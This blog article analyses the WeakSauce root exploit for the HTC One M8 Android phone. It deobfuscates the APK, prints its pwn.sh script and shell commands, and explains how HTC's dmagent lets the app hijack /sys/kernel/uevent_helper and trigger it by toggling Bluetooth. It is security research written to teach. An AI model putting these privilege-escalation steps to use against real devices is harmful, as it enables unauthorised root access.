Analyzing the WeakSauce Exploit
Jonathan Levin, http://NewAndroidBook.com
As part of the devices I researched for my upcoming book on Android Internals, I got myself an HTC One M8. A chief factor in my decision was knowing that it had a working 1-click root, since I didn't want to root it using a bootloader unlock (which would ruin the prospects of selling it on eBay once I'm done).
The exploit for the One M8 is called WeakSauce, and has been published on XDA Developers by members jcase (who discovered the vulnerability) and beaups (who helped exploit it). It's packaged as a simple APK, which you can download and push to the device, but I couldn't find much documentation on how it works, though it had been classified as an HTC specific vulnerability, and not a generic one in KitKat. Since I have a chapter dealing with security, it made sense to try and figure out exactly what the exploit is doing.
This article was created to detail the process, and is written as a tutorial. Going along, I hope to publish more of these articles as updates to the book, as I have with the OS X/iOS book.
Step I: Examine the APK
Getting the APK is a simple enough matter, as it is freely and readily downloadable. After getting it, we can
morpheus@Ergo (~/tmp)$ unzip -l WeakSauce-1.0.1.apk
Archive: ../../WeakSauce-1.0.1.apk
Length Date Time Name
-------- ---- ---- ----
630 03-30-14 10:20 META-INF/MANIFEST.MF
751 03-30-14 10:20 META-INF/TIMEPINK.SF
912 03-30-14 10:20 META-INF/TIMEPINK.RSA
853044 03-30-14 10:19 assets/busybox
52428800 03-30-14 10:19 assets/xbin.img
3067 03-30-14 10:19 res/drawable/ic_launcher.png
652 03-30-14 10:20 res/layout/activity_main.xml
464 03-30-14 10:20 res/menu/main.xml
2840 03-30-14 10:20 AndroidManifest.xml
1852 03-30-14 10:19 resources.arsc
705756 03-30-14 10:19 classes.dex
-------- -------
53998768 11 files
As the above shows, the APK has no JNI functionality (otherwise it would have a
morpheus@Ergo (~/tmp)$ aapt d xmltree WeakSauce-1.0.1.apk AndroidManifest.xml | xmlize <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.cunninglogic.weaksauce" android:versionCode="1" android:versionName="1.0.1"> ... <uses-permission android:name="android.permission.INTERNET"> <uses-permission android:name="android.permission.BLUETOOTH"> <uses-permission android:name="android.permission.BLUETOOTH_ADMIN"> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"> <application ...> ..<intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> <action android:name="android.intent.action.QUICKBOOT_POWERON" /> </intent-filter> </receiver> </application> </manifest>
The only thing that's intriguing is why WeakSauce needs BlueTooth permissions. This will be explained shortly.
Step II: dexter
The
morpheus@Ergo (~/tmp)$ dexter --classes classes.dex | grep -v " android" Class Defs: 521 bytes @0x17540 Class 343: Package: com.cunninglogic.weaksauce Class: D; (y) Class 344: Package: com.cunninglogic.weaksauce Class: G; (y) Class 345: Package: com.cunninglogic.weaksauce Class: H; (y) Class 346: Package: com.cunninglogic.weaksauce Class: J; (l) Class 347: Package: com.cunninglogic.weaksauce Class: K; (v) Class 348: Package: com.cunninglogic.weaksauce Class: M; (y) Class 349: Package: com.cunninglogic.weaksauce Class: MainActivity; (v) Class 350: Package: com.cunninglogic.weaksauce Class: OnBootReceiver; (w) Class 351: Package: com.cunninglogic.weaksauce Class: Weak; (f) Class 352: Package: com.cunninglogic.weaksauce Class: b; (y) Class 353: Package: com.cunninglogic.weaksauce Class: c; (v) Class 354: Package: com.cunninglogic.weaksauce Class: f; (y) Class 355: Package: com.cunninglogic.weaksauce Class: i; (y) Class 356: Package: com.cunninglogic.weaksauce Class: j; (y) Class 357: Package: com.cunninglogic.weaksauce Class: k; (y) Class 358: Package: com.htc.engine.system Class: SystemAccess (r) morpheus@Ergo (~/tmp)$ dexter --extract com.cunninglogic.weaksauce classes.dex Extracting all classes belonging to com.cunninglogic.weaksauce Package... 15 Classes extracted. morpheus@Ergo (~/tmp)$ dexter --extract "com.htc*" classes.dex Extracting all classes matching "com.htc*" 1 Class extracted.
Aside from the android support classes, which are nothing special), only has the
Step II': dex2jar
Since
morpheus@Ergo (~/tmp)$ unzip -l classes-dex2jar.jar Archive: classes-dex2jar.jar Length Date Time Name -------- ---- ---- ---- 0 05-15-14 15:54 android/ 0 05-15-14 15:54 android/support/ 0 05-15-14 15:54 android/support/v4/ # .. miscellaneous android/support/v4 classes that are totally irrelevant ... 0 05-15-14 15:54 com/ 0 05-15-14 15:54 com/cunninglogic/ 0 05-15-14 15:54 com/cunninglogic/weaksauce/ 236 05-15-14 15:54 com/cunninglogic/weaksauce/D.class 281 05-15-14 15:54 com/cunninglogic/weaksauce/G.class 306 05-15-14 15:54 com/cunninglogic/weaksauce/H.class 159 05-15-14 15:54 com/cunninglogic/weaksauce/J.class 755 05-15-14 15:54 com/cunninglogic/weaksauce/K.class 281 05-15-14 15:54 com/cunninglogic/weaksauce/M.class 3203 05-15-14 15:54 com/cunninglogic/weaksauce/MainActivity.class 674 05-15-14 15:54 com/cunninglogic/weaksauce/OnBootReceiver.class 8512 05-15-14 15:54 com/cunninglogic/weaksauce/Weak.class 331 05-15-14 15:54 com/cunninglogic/weaksauce/b.class 653 05-15-14 15:54 com/cunninglogic/weaksauce/c.class 281 05-15-14 15:54 com/cunninglogic/weaksauce/f.class 1194 05-15-14 15:54 com/cunninglogic/weaksauce/i.class 281 05-15-14 15:54 com/cunninglogic/weaksauce/j.class 306 05-15-14 15:54 com/cunninglogic/weaksauce/k.class 0 05-15-14 15:54 com/htc/ 0 05-15-14 15:54 com/htc/engine/ 0 05-15-14 15:54 com/htc/engine/system/ 1249 05-15-14 15:54 com/htc/engine/system/SystemAccess.class # .. miscellaneous android/support/v4 classes that are totally irrelevant ... 540 05-15-14 15:55 android/support/v4/view/ViewCompat$KitKatViewCompatImpl.class -------- ------- 849028 550 files
Step III: Deobfuscation
The classes extracted from the APK are obfuscated, but it's a simple enough matter to deobfuscate them. Looking at the SystemAccess as an example, we see:
System.load(i.m("JR\033C\007]\026TTo'\003\003O\007E\017\035\000A\b`2[\024U\026U\000UKU\n"));
package com.cunninglogic.weaksauce;
public final class i
{
public static String m(String paramString)
{
StackTraceElement localStackTraceElement = new java.lang.Exception().getStackTrace()[1];
String str = localStackTraceElement.getMethodName() + localStackTraceElement.getClassName();
..
The
public static String m2(String paramString, String MethodName, String ClassName)
{
StackTraceElement localStackTraceElement = new java.lang.Exception().getStackTrace()[1];
String str = localStackTraceElement.getMethodName() + localStackTraceElement.getClassName();
// Override:
str = MethodName + ClassName;
// and we can now call this function instead of the old m,
// e.g. SystemAccess.m2("\000ZP\\\026\001v2KFC\004TXOD",
// "com.cunninglogic.weaksauce.Weak",
// "m");
So, after a little bit of search and replace we can reveal that the above string is really:
data/data/com.cunninglogic.weaksauce/temp/xbin.img
system/bin/chmod 755 /data/data/com.cunninglogic.weaksauce/temp/pwn.sh
/system/bin/chmod 755 /data/data/com.cunninglogic.weaksauce/temp/busybox
system/bin/echo 1 > /data/data/com.cunninglogic.weaksauce/temp/one
/system/bin/chmod 770 /data/data/com.cunninglogic.weaksauce/temp/one
...
/system/bin/sync
echo '/data/data/com.cunninglogic.weaksauce/temp/pwn.sh' > /sys/kernel/uevent_helper
/system/bin/sync
/system/bin/chmod 770 /data/data/com.cunninglogic.weaksauce/temp
/system/bin/sync
/data/data/com.cunninglogic.weaksauce/temp
/system/bin/echo 1 > /data/data/com.cunninglogic.weaksauce/temp/onboot
data/data/com.cunninglogic.weaksauce/temp/pwn.sh
So - what do we have? A lot of shell commands. Root access is somehow obtained, then these commands are run. Of particular interest is
root@htc_m8wl:/data/data/com.cunninglogic.weaksauce/temp # ls -l /sys/kernel/ .. -rwxrwx--- u0_a235 u0_a235 4096 2014-05-16 14:21 uevent_helper -r--r--r-- root root 4096 2014-05-16 14:30 uevent_seqnum ..
Showing that
root@htc_m8wl:/data/data/com.cunninglogic.weaksauce/temp # cat pwn.sh #!/system/bin/sh echo 1 > /sys/kernel/uevent_helper /system/bin/cat /system/xbin/dexdump > /data/data/com.cunninglogic.weaksauce/temp/dexdump /system/bin/cat /system/xbin/nc > /data/data/com.cunninglogic.weaksauce/temp/nc /system/bin/cat /system/xbin/dexus > /data/data/com.cunninglogic.weaksauce/temp/dexus /system/bin/chmod 744 /data/data/com.cunninglogic.weaksauce/temp//nc /system/bin/chmod 755 /data/data/com.cunninglogic.weaksauce/temp/dexus /system/bin/chmod 755 /data/data/com.cunninglogic.weaksauce/temp/dexdump /data/data/com.cunninglogic.weaksauce/temp/busybox mount /data/data/com.cunninglogic.weaksauce/temp/xbin.img /system/xbin /system/bin/sync /system/bin/cat /data/data/com.cunninglogic.weaksauce/temp/nc > /system/xbin/nc /system/bin/cat /data/data/com.cunninglogic.weaksauce/temp/dexus > /system/xbin/dexus /system/bin/cat /data/data/com.cunninglogic.weaksauce/temp/dexdump > /system/xbin/dexdump /system/bin/chmod 744 /system/xbin/nc /system/bin/chmod 755 /system/xbin/dexus /system/bin/chmod 755 /system/xbin/dexdump /system/bin/chown 0.2000 /system/xbin/nc /system/bin/chown 0.2000 /system/xbin/dexus /system/bin/chown 0.2000 /system/xbin/dexdump /system/xbin/daemonsu --auto-daemon &
So all that would be needed is to get the kernel to detect a new device. This is why Weaksauce required bluetooth permissions - looking at the
SystemAccess.m().CopyFileCtl(
SystemAccess.m("\002DGWD\004IDWN\006\001\013V\023JZCENOXUBLP\\\001^LN\t\027zhJJ\002_BLQ\b"),
SystemAccess.m("NOB"),
SystemAccess.m("M\027bn\006DHYIDM\b"),
SystemAccess.m("Z\007\022~s]pENKQDU"));
// /system/bin/sync
m(SystemAccess.m("\000ZP\\\026\001v2KFC\004TXOD"));
//m ("echo '/data/data/com.cunninglogic.weaksauce/temp/pwn.sh' > /sys/kernel/uevent_helper");
m(SystemAccess.m("HHQP\017\016\006K\003\020z2MNYJ\bBNJ\001JVKON\f\003CF^VA\nUADHQE^......"));
// /system/bin/sync
m(SystemAccess.m("\000ZP\\\026\001v2KFC\004TXOD"));
// ...
localBluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
bool1 = localBluetoothAdapter.isEnabled();
if (!bool1) {
localBluetoothAdapter.enable();
}
The call to CopyFileCtl is the important one here - this was defined as a native method of the replaced
[morpheus@Forge ~]$ /usr/local/android-ndk-r8e/toolchains/arm-linux-androideabi-4.7/prebuilt/\
linux-x86_64/bin/arm-linux-androideabi-objdump -d libdm-systemaccess.so
...
00001d60 <Java_com_htc_engine_system_SystemAccess_CopyFileCtl>:
..
The fault lies in this function, which calls HTC's dmagent (thorugh the
Summary
This article detailed how WeakSauce works. To recap:
- WeakSauce creates a replacement class for HTC's
SystemAccess . - Using JNI, it triggers a file copy operation, passing
/sys/kernel as one of its arguments - The
dmagent daemon happily complies, and chowns the permissions on/sys/kernel/uevent_helper - WeakSauce readily exploits this by writing its pwn.sh as the uevent handler
- WeakSauce disables/enables BlueTooth, which makes the kernel trigger the
uevent_helper - that is,pwn.sh
From this point on, it's all downhill - DaemonSu is installed, which is required in KitKat since a simple setuid
#
# Show all processes, filter out kernel threads, but still show u:r:kernel:s0 context:
#
root@htc_m8wl:/# ps -Z | grep -v " 2 " | grep kernel
u:r:kernel:s0 root 3113 1 daemonsu:mount:master
u:r:kernel:s0 root 3114 3113 daemonsu:master
u:r:kernel:s0 root 5449 3114 daemonsu:10236
u:r:kernel:s0 root 6559 3114 daemonsu:0
u:r:kernel:s0 root 6567 6559 daemonsu:0:6556
u:r:kernel:s0 root 6569 6567 daemonsu
u:r:kernel:s0 root 6572 6567 tmp-mksh
u:r:kernel:s0 root 7521 6572 ps
u:r:kernel:s0 root 7522 6572 grep
u:r:kernel:s0 root 7523 6572 grep
#
# Note the adb spawned shell is the parent of su, which is why they're both still
# u:r:shell:s0..
root@htc_m8wl:/# ps -Z | grep 6530
u:r:shell:s0 shell 6530 3618 /system/bin/sh
u:r:shell:s0 shell 6556 6530 su
.. And that's all. If you haven't yet checked out the book, please do so now, and feel free to drop me a line at j@ (this domain) for any questions, comments, or requests.
Greets
- jcase and beaups - Great work, you guys. HTC owes you another customer (for now, at least)